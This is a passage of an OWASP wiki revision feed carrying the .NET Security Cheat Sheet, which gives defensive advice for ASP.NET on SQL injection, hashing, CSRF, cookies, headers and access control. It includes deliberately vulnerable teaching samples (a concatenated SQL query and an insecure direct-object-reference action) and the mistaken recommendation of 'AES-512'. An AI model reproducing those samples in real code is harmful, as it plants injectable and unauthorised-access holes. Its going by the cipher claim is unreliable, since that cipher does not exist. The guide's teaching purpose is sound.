Bill Sempf - bill.sempf(at)owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
Troy Hunt - troyhunt(at)hotmail.com&amp;lt;br /&amp;gt;&lt;br /&gt;
Jeremy Long - jeremy.long(at)owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Contributors ==&lt;br /&gt;
&lt;br /&gt;
Shane Murnion&lt;br /&gt;
John Staveley&lt;br /&gt;
Steve Bamelis&lt;br /&gt;
Xander Sherry&lt;br /&gt;
Sam Ferree&lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
[[Category:OWASP .NET Project]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=.NET_Security_Cheat_Sheet&amp;diff=242264</id>
		<title>.NET Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=.NET_Security_Cheat_Sheet&amp;diff=242264"/>
				<updated>2018-08-03T21:55:16Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Added .NET Core CSRF deets, and some formatting fixes.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
== Introduction  ==&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
This page intends to provide quick basic .NET security tips for developers.&lt;br /&gt;
&lt;br /&gt;
===The .NET Framework===&lt;br /&gt;
The .NET Framework is Microsoft's principal platform for enterprise development. It is the supporting API for ASP.NET, Windows Desktop applications, Windows Communication Foundation services, SharePoint, Visual Studio Tools for Office and other technologies.&lt;br /&gt;
&lt;br /&gt;
===Updating the Framework===&lt;br /&gt;
The .NET Framework is kept up-to-date by Microsoft with the Windows Update service. Developers do not normally need to run seperate updates to the Framework. Windows update can be accessed at [http://windowsupdate.microsoft.com/ Windows Update] or from the Windows Update program on a Windows computer.&lt;br /&gt;
&lt;br /&gt;
Individual frameworks can be kept up to date using [http://nuget.codeplex.com/wikipage?title=Getting%20Started&amp;amp;referringTitle=Home NuGet]. As Visual Studio prompts for updates, build it into your lifecycle.&lt;br /&gt;
&lt;br /&gt;
Remember that third party libraries have to be updated separately and not all of them use Nuget. ELMAH for instance, requires a separate update effort.&lt;br /&gt;
&lt;br /&gt;
==.NET Framework Guidance==&lt;br /&gt;
&lt;br /&gt;
The .NET Framework is the set of APIs that support an advanced type system, data, graphics, network, file handling and most of the rest of what is needed to write enterprise apps in the Microsoft ecosystem. It is a nearly ubiquitous library that is strong named and versioned at the assembly level.&lt;br /&gt;
&lt;br /&gt;
=== Data Access ===&lt;br /&gt;
&lt;br /&gt;
* Use [http://msdn.microsoft.com/en-us/library/ms175528(v=sql.105).aspx Parameterized SQL] commands for all data access, without exception.&lt;br /&gt;
* Do not use [http://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlcommand.aspx SqlCommand] with a string parameter made up of a [http://msdn.microsoft.com/en-us/library/ms182310.aspx concatenated SQL String].&lt;br /&gt;
* Whitelist allowable values coming from the user. Use enums, [http://msdn.microsoft.com/en-us/library/f02979c7.aspx TryParse] or lookup values to assure that the data coming from the user is as expected.&lt;br /&gt;
** Enums are still vulnerable to unexpected values because .NET only validates a successful cast to the underlying data type, integer by default. [https://msdn.microsoft.com/en-us/library/system.enum.isdefined Enum.IsDefined] can validate whether the input value is valid within the list of defined constants.&lt;br /&gt;
* Apply the principle of least privilege when setting up the Database User in your database of choice. The database user should only be able to access items that make sense for the use case.&lt;br /&gt;
* Use of the [http://msdn.microsoft.com/en-us/data/ef.aspx Entity Framework] is a very effective [http://msdn.microsoft.com/en-us/library/ms161953(v=sql.105).aspx SQL injection] prevention mechanism. Remember that building your own ''ad hoc'' queries in EF is just as susceptible to SQLi as a plain SQL query.&lt;br /&gt;
* When using SQL Server, prefer integrated authentication over SQL authentication.&lt;br /&gt;
* Use [https://msdn.microsoft.com/en-us/library/mt163865.aspx Always Encrypted] where possible for sensitive data (SQL Server 2016 and SQL Azure),&lt;br /&gt;
&lt;br /&gt;
=== Encryption ===&lt;br /&gt;
* Never, ever write your own encryption.&lt;br /&gt;
* Use the [http://msdn.microsoft.com/en-us/library/ms995355.aspx Windows Data Protection API (DPAPI)] for secure local storage of sensitive data.&lt;br /&gt;
* Use a strong hash algorithm. &lt;br /&gt;
** In .NET (both Framework and Core) the strongest hashing algorithm for general hashing requirements is [http://msdn.microsoft.com/en-us/library/system.security.cryptography.sha512.aspx System.Security.Cryptography.SHA512].&lt;br /&gt;
** In the .NET framework the strongest algorithm for password hashing is PBKDF2, implemented as [http://msdn.microsoft.com/en-us/library/system.security.cryptography.rfc2898derivebytes(v=vs.110).aspx System.Security.Cryptography.Rfc2898DeriveBytes].&lt;br /&gt;
** In .NET Core the strongest algorithm for password hashing is PBKDF2, implemented as [https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/consumer-apis/password-hashing Microsoft.AspNetCore.Cryptography.KeyDerivation.Pbkdf2] which has several significant advantages over Rfc2898DeriveBytes.&lt;br /&gt;
** When using a hashing function to hash non-unique inputs such as passwords, use a salt value added to the original value before hashing.&lt;br /&gt;
* Make sure your application or protocol can easily support a future change of cryptographic algorithms.&lt;br /&gt;
* Use Nuget to keep all of your packages up to date. Watch the updates on your development setup, and plan updates to your applications accordingly.&lt;br /&gt;
&lt;br /&gt;
=== General ===&lt;br /&gt;
&lt;br /&gt;
* Lock down the config file. &lt;br /&gt;
** Remove all aspects of configuration that are not in use. &lt;br /&gt;
** Encrypt sensitive parts of the web.config using aspnet_regiis -pe&lt;br /&gt;
&lt;br /&gt;
* For Click Once applications the .Net Framework should be upgraded to use version 4.6.2 to ensure TLS 1.1/1.2 support.&lt;br /&gt;
&lt;br /&gt;
==ASP.NET Web Forms Guidance==&lt;br /&gt;
&lt;br /&gt;
ASP.NET Web Forms is the original browser-based application development API for the .NET framework, and is still the most common enterprise platform for web application development.&lt;br /&gt;
&lt;br /&gt;
* Always use [http://support.microsoft.com/kb/324069 HTTPS].&lt;br /&gt;
* Enable [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.requiressl.aspx requireSSL] on cookies and form elements and [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.httponlycookies.aspx HttpOnly] on cookies in the web.config.&lt;br /&gt;
* Implement [https://msdn.microsoft.com/library/h0hfz6fc.aspx customErrors].&lt;br /&gt;
* Make sure [http://www.iis.net/configreference/system.webserver/tracing tracing] is turned off.&lt;br /&gt;
* While viewstate isn't always appropriate for web development, using it can provide CSRF mitigation. To make the ViewState protect against CSRF attacks you need to set the [http://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic2 ViewStateUserKey]:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
 protected override OnInit(EventArgs e) {&lt;br /&gt;
     base.OnInit(e); &lt;br /&gt;
     ViewStateUserKey = Session.SessionID;&lt;br /&gt;
 } &lt;br /&gt;
&lt;br /&gt;
If you don't use Viewstate, then look to the default master page of the ASP.NET Web Forms default template for a manual anti-CSRF token using a double-submit cookie.&lt;br /&gt;
&lt;br /&gt;
 private const string AntiXsrfTokenKey = &amp;quot;__AntiXsrfToken&amp;quot;;&lt;br /&gt;
 private const string AntiXsrfUserNameKey = &amp;quot;__AntiXsrfUserName&amp;quot;;&lt;br /&gt;
 private string _antiXsrfTokenValue;&lt;br /&gt;
 protected void Page_Init(object sender, EventArgs e)&lt;br /&gt;
 {&lt;br /&gt;
     // The code below helps to protect against XSRF attacks&lt;br /&gt;
     var requestCookie = Request.Cookies[AntiXsrfTokenKey];&lt;br /&gt;
     Guid requestCookieGuidValue;&lt;br /&gt;
     if (requestCookie != null &amp;amp;&amp;amp; Guid.TryParse(requestCookie.Value, out requestCookieGuidValue))&lt;br /&gt;
     {&lt;br /&gt;
        // Use the Anti-XSRF token from the cookie&lt;br /&gt;
        _antiXsrfTokenValue = requestCookie.Value;&lt;br /&gt;
        Page.ViewStateUserKey = _antiXsrfTokenValue;&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
        // Generate a new Anti-XSRF token and save to the cookie&lt;br /&gt;
        _antiXsrfTokenValue = Guid.NewGuid().ToString(&amp;quot;N&amp;quot;);&lt;br /&gt;
        Page.ViewStateUserKey = _antiXsrfTokenValue;&lt;br /&gt;
        var responseCookie = new HttpCookie(AntiXsrfTokenKey)&lt;br /&gt;
        {&lt;br /&gt;
           HttpOnly = true,&lt;br /&gt;
           Value = _antiXsrfTokenValue&lt;br /&gt;
        };&lt;br /&gt;
        if (FormsAuthentication.RequireSSL &amp;amp;&amp;amp; Request.IsSecureConnection)&lt;br /&gt;
        {&lt;br /&gt;
           responseCookie.Secure = true;&lt;br /&gt;
        }&lt;br /&gt;
        Response.Cookies.Set(responseCookie);&lt;br /&gt;
     }&lt;br /&gt;
     Page.PreLoad += master_Page_PreLoad;&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 protected void master_Page_PreLoad(object sender, EventArgs e)&lt;br /&gt;
 {&lt;br /&gt;
     if (!IsPostBack)&lt;br /&gt;
     {&lt;br /&gt;
        // Set Anti-XSRF token&lt;br /&gt;
        ViewState[AntiXsrfTokenKey] = Page.ViewStateUserKey;&lt;br /&gt;
        ViewState[AntiXsrfUserNameKey] = Context.User.Identity.Name ?? String.Empty;&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
        // Validate the Anti-XSRF token&lt;br /&gt;
if ((string)ViewState[AntiXsrfTokenKey] != _antiXsrfTokenValue || &lt;br /&gt;
           (string)ViewState[AntiXsrfUserNameKey] != (Context.User.Identity.Name ?? String.Empty))&lt;br /&gt;
        {&lt;br /&gt;
           throw new InvalidOperationException(&amp;quot;Validation of Anti-XSRF token failed.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
     }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
* Consider [http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security HSTS] in IIS.&lt;br /&gt;
** In the Connections pane, go to the site, application, or directory for which you want to set a custom HTTP header.&lt;br /&gt;
** In the Home pane, double-click HTTP Response Headers.&lt;br /&gt;
** In the HTTP Response Headers pane, click Add... in the Actions pane.&lt;br /&gt;
** In the Add Custom HTTP Response Header dialog box, set the name and value for your custom header, and then click OK.&lt;br /&gt;
** This is a recommended web.config setup that handles HSTS among other things.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
  &amp;lt;configuration&amp;gt;&lt;br /&gt;
    &amp;lt;system.web&amp;gt;&lt;br /&gt;
      &amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot;/&amp;gt;&lt;br /&gt;
    &amp;lt;/system.web&amp;gt;&lt;br /&gt;
    &amp;lt;system.webServer&amp;gt;&lt;br /&gt;
      &amp;lt;security&amp;gt;&lt;br /&gt;
        &amp;lt;requestFiltering removeServerHeader=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/security&amp;gt;&lt;br /&gt;
      &amp;lt;staticContent&amp;gt;&lt;br /&gt;
        &amp;lt;clientCache cacheControlCustom=&amp;quot;public&amp;quot; cacheControlMode=&amp;quot;UseMaxAge&amp;quot; cacheControlMaxAge=&amp;quot;1.00:00:00&amp;quot; setEtag=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/staticContent&amp;gt;&lt;br /&gt;
      &amp;lt;httpProtocol&amp;gt;&lt;br /&gt;
        &amp;lt;customHeaders&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;Content-Security-Policy&amp;quot; value=&amp;quot;default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-Content-Type-Options&amp;quot; value=&amp;quot;NOSNIFF&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-Frame-Options&amp;quot; value=&amp;quot;DENY&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-Permitted-Cross-Domain-Policies&amp;quot; value=&amp;quot;master-only&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-XSS-Protection&amp;quot; value=&amp;quot;1; mode=block&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;remove name=&amp;quot;X-Powered-By&amp;quot;/&amp;gt;&lt;br /&gt;
        &amp;lt;/customHeaders&amp;gt;&lt;br /&gt;
      &amp;lt;/httpProtocol&amp;gt;&lt;br /&gt;
      &amp;lt;rewrite&amp;gt;&lt;br /&gt;
        &amp;lt;rules&amp;gt;&lt;br /&gt;
          &amp;lt;rule name=&amp;quot;Redirect to https&amp;quot;&amp;gt;&lt;br /&gt;
            &amp;lt;match url=&amp;quot;(.*)&amp;quot;/&amp;gt;&lt;br /&gt;
            &amp;lt;conditions&amp;gt;&lt;br /&gt;
              &amp;lt;add input=&amp;quot;{HTTPS}&amp;quot; pattern=&amp;quot;Off&amp;quot;/&amp;gt;&lt;br /&gt;
              &amp;lt;add input=&amp;quot;{REQUEST_METHOD}&amp;quot; pattern=&amp;quot;^get$|^head$&amp;quot; /&amp;gt;&lt;br /&gt;
            &amp;lt;/conditions&amp;gt;&lt;br /&gt;
            &amp;lt;action type=&amp;quot;Redirect&amp;quot; url=&amp;quot;https://{HTTP_HOST}/{R:1}&amp;quot; redirectType=&amp;quot;Permanent&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;/rule&amp;gt;&lt;br /&gt;
        &amp;lt;/rules&amp;gt;&lt;br /&gt;
        &amp;lt;outboundRules&amp;gt;&lt;br /&gt;
          &amp;lt;rule name=&amp;quot;Add HSTS Header&amp;quot; enabled=&amp;quot;true&amp;quot;&amp;gt;&lt;br /&gt;
            &amp;lt;match serverVariable=&amp;quot;RESPONSE_Strict_Transport_Security&amp;quot;&lt;br /&gt;
                pattern=&amp;quot;.*&amp;quot; /&amp;gt;&lt;br /&gt;
            &amp;lt;conditions&amp;gt;&lt;br /&gt;
              &amp;lt;add input=&amp;quot;{HTTPS}&amp;quot; pattern=&amp;quot;on&amp;quot; ignoreCase=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
            &amp;lt;/conditions&amp;gt;&lt;br /&gt;
            &amp;lt;action type=&amp;quot;Rewrite&amp;quot; value=&amp;quot;max-age=15768000&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;/rule&amp;gt;&lt;br /&gt;
        &amp;lt;/outboundRules&amp;gt;&lt;br /&gt;
      &amp;lt;/rewrite&amp;gt;&lt;br /&gt;
    &amp;lt;/system.webServer&amp;gt;&lt;br /&gt;
  &amp;lt;/configuration&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove the version header.&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot; /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
* Also remove the Server header.&lt;br /&gt;
&lt;br /&gt;
    HttpContext.Current.Response.Headers.Remove(&amp;quot;Server&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
=== HTTP validation and encoding ===&lt;br /&gt;
&lt;br /&gt;
* Do not disable [http://www.asp.net/whitepapers/request-validation validateRequest] in the web.config or the page setup. This value enables limited XSS protection in ASP.NET and should be left intact as it provides partial prevention of Cross Site Scripting.  Complete request validation is recommended in addition to the built in protections.&lt;br /&gt;
* The 4.5 version of the .NET Frameworks includes the AntiXssEncoder library, which has a comprehensive input encoding library for the prevention of XSS. Use it.&lt;br /&gt;
* Whitelist allowable values anytime user input is accepted. &lt;br /&gt;
* Validate the URI format using [http://msdn.microsoft.com/en-us/library/system.uri.iswellformeduristring.aspx Uri.IsWellFormedUriString].&lt;br /&gt;
&lt;br /&gt;
=== Forms authentication ===&lt;br /&gt;
&lt;br /&gt;
* Use cookies for persistence when possible. Cookieless Auth will default to UseDeviceProfile.&lt;br /&gt;
* Don't trust the URI of the request for persistence of the session or authorization. It can be easily faked.&lt;br /&gt;
* Reduce the forms authentication timeout from the default of 20 minutes to the shortest period appropriate for your application. If slidingExpiration is used this timeout resets after each request, so active users won't be affected.&lt;br /&gt;
* If HTTPS is not used, slidingExpiration should be disabled.  Consider disabling slidingExpiration even with HTTPS. &lt;br /&gt;
* Always implement proper access controls.&lt;br /&gt;
** Compare user provided username with User.Identity.Name.&lt;br /&gt;
** Check roles against User.Identity.IsInRole.&lt;br /&gt;
* Use the ASP.NET Membership provider and role provider, but review the password storage. The default storage hashes the password with a single iteration of SHA-1 which is rather weak. The ASP.NET MVC4 template uses [http://www.asp.net/identity/overview/getting-started/introduction-to-aspnet-identity ASP.NET Identity] instead of ASP.NET Membership, and ASP.NET Identity uses PBKDF2 by default which is better. Review the OWASP [[Password Storage Cheat Sheet]] for more information.&lt;br /&gt;
* Explicitly authorize resource requests.&lt;br /&gt;
* Leverage role based authorization using User.Identity.IsInRole.&lt;br /&gt;
&lt;br /&gt;
==ASP.NET MVC Guidance==&lt;br /&gt;
&lt;br /&gt;
ASP.NET MVC (Model-View-Controller) is a contemporary web application framework that uses more standardized HTTP communication than the Web Forms postback model. The OWASP Top 10 lists the most prevalent and dangerous threats to web security in the world today and is reviewed every 3 years. This section is based on this. Your approach to securing your web application should be to start at the top threat A1 below and work down, this will ensure that any time spent on security will be spent most effectively spent and cover the top threats first and lesser threats afterwards. After covering the top 10 it is generally advisable to assess for other threats or get a professionally completed Penetration Test.&lt;br /&gt;
&lt;br /&gt;
* '''A1 SQL Injection'''&lt;br /&gt;
&lt;br /&gt;
DO: Using an object relational mapper (ORM) or stored procedures is the most effective way of countering the SQL Injection vulnerability.&lt;br /&gt;
&lt;br /&gt;
DO: Use parameterized queries where a direct sql query must be used. &lt;br /&gt;
&lt;br /&gt;
e.g. In entity frameworks:&lt;br /&gt;
&lt;br /&gt;
    var sql = @&amp;quot;Update [User] SET FirstName = @FirstName WHERE Id = @Id&amp;quot;;&lt;br /&gt;
    context.Database.ExecuteSqlCommand(&lt;br /&gt;
       sql,&lt;br /&gt;
       new SqlParameter(&amp;quot;@FirstName&amp;quot;, firstname),&lt;br /&gt;
       new SqlParameter(&amp;quot;@Id&amp;quot;, id));&lt;br /&gt;
&lt;br /&gt;
DO NOT: Concatenate strings anywhere in your code and execute them against your database (Known as dynamic sql). NB: You can still accidentally do this with ORMs or Stored procedures so check everywhere.&lt;br /&gt;
&lt;br /&gt;
e.g&lt;br /&gt;
    string strQry = &amp;quot;SELECT * FROM Users WHERE UserName='&amp;quot; + txtUser.Text + &amp;quot;' AND Password='&amp;quot; + txtPassword.Text + &amp;quot;'&amp;quot;;&lt;br /&gt;
    EXEC strQry // SQL Injection vulnerability!&lt;br /&gt;
&lt;br /&gt;
DO: Practise Least Privilege - Connect to the database using an account with a minimum set of permissions required to do it's job i.e. not the sa account&lt;br /&gt;
&lt;br /&gt;
* '''A2 Weak Account management'''&lt;br /&gt;
&lt;br /&gt;
Ensure cookies are sent via httpOnly:&lt;br /&gt;
&lt;br /&gt;
     CookieHttpOnly = true,&lt;br /&gt;
&lt;br /&gt;
Reduce the time period a session can be stolen in by reducing session timeout and removing sliding expiration:&lt;br /&gt;
&lt;br /&gt;
     ExpireTimeSpan = TimeSpan.FromMinutes(60),&lt;br /&gt;
     SlidingExpiration = false&lt;br /&gt;
&lt;br /&gt;
See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/App_Start/Startup.Auth.cs here] for full startup code snippet&lt;br /&gt;
&lt;br /&gt;
Ensure cookie is sent over https in the production environment. This should be enforced in the config transforms:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;!-- SECURE: Require all custom cookies to travel via SSL --&amp;gt;&lt;br /&gt;
    &amp;lt;httpCookies requireSSL=&amp;quot;true&amp;quot; xdt:Transform=&amp;quot;SetAttributes(requireSSL)&amp;quot;/&amp;gt;&lt;br /&gt;
    &amp;lt;authentication&amp;gt;&lt;br /&gt;
      &amp;lt;forms requireSSL=&amp;quot;true&amp;quot; xdt:Transform=&amp;quot;SetAttributes(requireSSL)&amp;quot;/&amp;gt;&lt;br /&gt;
      &amp;lt;!-- SECURE: Authentication cookie should only be passed over SSL --&amp;gt;&lt;br /&gt;
    &amp;lt;/authentication&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Protect LogOn, Registration and password reset methods against brute force attacks by throttling requests (see code below), consider also using ReCaptcha.&lt;br /&gt;
&lt;br /&gt;
    [HttpPost]&lt;br /&gt;
    [AllowAnonymous]&lt;br /&gt;
    [ValidateAntiForgeryToken]&lt;br /&gt;
    '''[AllowXRequestsEveryXSecondsAttribute(Name = &amp;quot;LogOn&amp;quot;, Message = &amp;quot;You have performed this action more than {x} times in the last {n} seconds.&amp;quot;, Requests = 3, Seconds = 60)]'''&lt;br /&gt;
    public async Task&amp;lt;ActionResult&amp;gt; LogOn(LogOnViewModel model, string returnUrl)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Find [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/Attributes/ThrottleAttribute.cs here] the code to prevent throttling&lt;br /&gt;
&lt;br /&gt;
DO NOT: Roll your own authentication or session management, use the one provided by .Net&lt;br /&gt;
&lt;br /&gt;
DO NOT: Tell someone if the account exists on LogOn, Registration or Password reset. Say something like 'Either the username or password was incorrect', or 'If this account exists then a reset token will be sent to the registered email address'. This protects against account enumeration. The feedback to the user should be identical whether or not the account exists, both in terms of content and behaviour: e.g. if the response takes 50% longer when the account is real then membership information can be guessed and tested. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''A3 Cross Site Scripting'''&lt;br /&gt;
&lt;br /&gt;
DO NOT: Trust any data the user sends you, prefer white lists (always safe) over black lists&lt;br /&gt;
&lt;br /&gt;
You get encoding of all HTML content with MVC3, to properly encode all content whether HTML, javascript, CSS, LDAP etc use the Microsoft AntiXSS library:&lt;br /&gt;
&lt;br /&gt;
    Install-Package AntiXSS&lt;br /&gt;
&lt;br /&gt;
then set in config:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;system.web&amp;gt;&lt;br /&gt;
        &amp;lt;!-- SECURE: Don't disclose version header in each IIS response, encode ALL output including CSS, JavaScript etc, reduce max request length as mitigation against DOS --&amp;gt;&lt;br /&gt;
        &amp;lt;httpRuntime targetFramework=&amp;quot;4.5&amp;quot; enableVersionHeader=&amp;quot;false&amp;quot; encoderType=&amp;quot;Microsoft.Security.Application.AntiXssEncoder, AntiXssLibrary&amp;quot; maxRequestLength=&amp;quot;4096&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DO NOT: Use the [AllowHTML] attribute or helper class @Html.Raw unless you really know that the content you are writing to the browser is safe and has been escaped properly.&lt;br /&gt;
&lt;br /&gt;
DO: Enable a content security policy, this will prevent your pages from accessing assets it should not be able to access (e.g. a malicious script):&lt;br /&gt;
    &amp;amp;lt;system.webServer&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;httpProtocol&amp;amp;gt;&lt;br /&gt;
            &amp;amp;lt;customHeaders&amp;amp;gt;&lt;br /&gt;
                &amp;amp;lt;add name=&amp;quot;Content-Security-Policy&amp;quot; value=&amp;quot;default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'; script-src 'self'&amp;quot; /&amp;amp;gt;&lt;br /&gt;
                ...&lt;br /&gt;
&lt;br /&gt;
* '''A4 Insecure Direct object references'''&lt;br /&gt;
&lt;br /&gt;
When you have a resource (object) which can be accessed by a reference (in the sample below this is the id) then you need to ensure that the user is intended to be there&lt;br /&gt;
&lt;br /&gt;
    // Insecure&lt;br /&gt;
    public ActionResult Edit(int id)&lt;br /&gt;
        {&lt;br /&gt;
            var user = _context.Users.FirstOrDefault(e =&amp;gt; e.Id == id);&lt;br /&gt;
            return View(&amp;quot;Details&amp;quot;, new UserViewModel(user);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
    // Secure&lt;br /&gt;
    public ActionResult Edit(int id)&lt;br /&gt;
        {&lt;br /&gt;
            var user = _context.Users.FirstOrDefault(e =&amp;gt; e.Id == id);&lt;br /&gt;
            // Establish user has right to edit the details&lt;br /&gt;
            if (user.Id != _userIdentity.GetUserId())&lt;br /&gt;
            {&lt;br /&gt;
                HandleErrorInfo error = new HandleErrorInfo(new Exception(&amp;quot;INFO: You do not have permission to edit these details&amp;quot;));&lt;br /&gt;
                return View(&amp;quot;Error&amp;quot;, error);&lt;br /&gt;
            }&lt;br /&gt;
            return View(&amp;quot;Edit&amp;quot;, new UserViewModel(user);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
* '''A5 Security Misconfiguration'''&lt;br /&gt;
&lt;br /&gt;
Ensure debug and trace are off in production. This can be enforced using web.config transforms:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;!-- SECURE: Ensure debug information is turned off in production --&amp;gt;&lt;br /&gt;
    &amp;lt;compilation xdt:Transform=&amp;quot;RemoveAttributes(debug)&amp;quot; /&amp;gt;&lt;br /&gt;
    &amp;lt;!-- SECURE: Ensure trace is turned off in production --&amp;gt;&lt;br /&gt;
    &amp;lt;trace enabled=&amp;quot;false&amp;quot; xdt:Transform=&amp;quot;Replace&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DO NOT: Use default passwords&lt;br /&gt;
&lt;br /&gt;
DO: (When using TLS) Redirect a request made over Http to https: In Global.asax.cs:&lt;br /&gt;
&lt;br /&gt;
	protected void Application_BeginRequest()&lt;br /&gt;
		{&lt;br /&gt;
    #if !DEBUG&lt;br /&gt;
            // SECURE: Ensure any request is returned over SSL/TLS in production&lt;br /&gt;
            if (!Request.IsLocal &amp;amp;&amp;amp; !Context.Request.IsSecureConnection) {&lt;br /&gt;
                var redirect = Context.Request.Url.ToString().ToLower(CultureInfo.CurrentCulture).Replace(&amp;quot;http:&amp;quot;, &amp;quot;https:&amp;quot;);&lt;br /&gt;
                Response.Redirect(redirect);&lt;br /&gt;
            }&lt;br /&gt;
    #endif&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
* '''A6 Sensitive data exposure'''&lt;br /&gt;
&lt;br /&gt;
DO NOT: Store encrypted passwords.&lt;br /&gt;
&lt;br /&gt;
DO: Use a strong hash to store password credentials. Use PBKDF2, BCrypt or SCrypt with at least 8000 iterations and a strong key.&lt;br /&gt;
&lt;br /&gt;
DO: Enforce passwords with a minimum complexity that will survive a dictionary attack i.e. longer passwords that use the full character set (numbers, symbols and letters) to increase the entropy. &lt;br /&gt;
&lt;br /&gt;
DO: Use a strong encryption routine such as AES-512 where personally identifiable data needs to be restored to it's original format. Do not encrypt passwords. Protect encryption keys more than any other asset. Apply the following test: Would you be happy leaving the data on a spreadsheet on a bus for everyone to read. Assume the attacker can get direct access to your database and protect it accordingly.&lt;br /&gt;
&lt;br /&gt;
DO: Use TLS 1.2 for your entire site. Get a free certificate from [https://www.startssl.com/ StartSSL.com] or [https://letsencrypt.org/ LetsEncrypt.org].&lt;br /&gt;
&lt;br /&gt;
DO NOT: Allow SSL, this is now obsolete&lt;br /&gt;
&lt;br /&gt;
DO: Have a strong TLS policy (see [http://www.ssllabs.com/projects/best-practises/ SSL Best Practises]), use TLS 1.2 wherever possible. Then check the configuration using [https://www.ssllabs.com/ssltest/ SSL Test]&lt;br /&gt;
&lt;br /&gt;
DO: Ensure headers are not disclosing information about your application. See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs HttpHeaders.cs] , [https://github.com/Dionach/StripHeaders/ Dionach StripHeaders] or disable via web.config:&lt;br /&gt;
    &amp;amp;lt;system.web&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot;/&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/system.web&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;system.webServer&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;security&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;requestFiltering removeServerHeader=&amp;quot;true&amp;quot; /&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/security&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;httpProtocol&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;customHeaders&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Content-Type-Options&amp;quot; value=&amp;quot;NOSNIFF&amp;quot; /&amp;amp;gt;&lt;br /&gt;
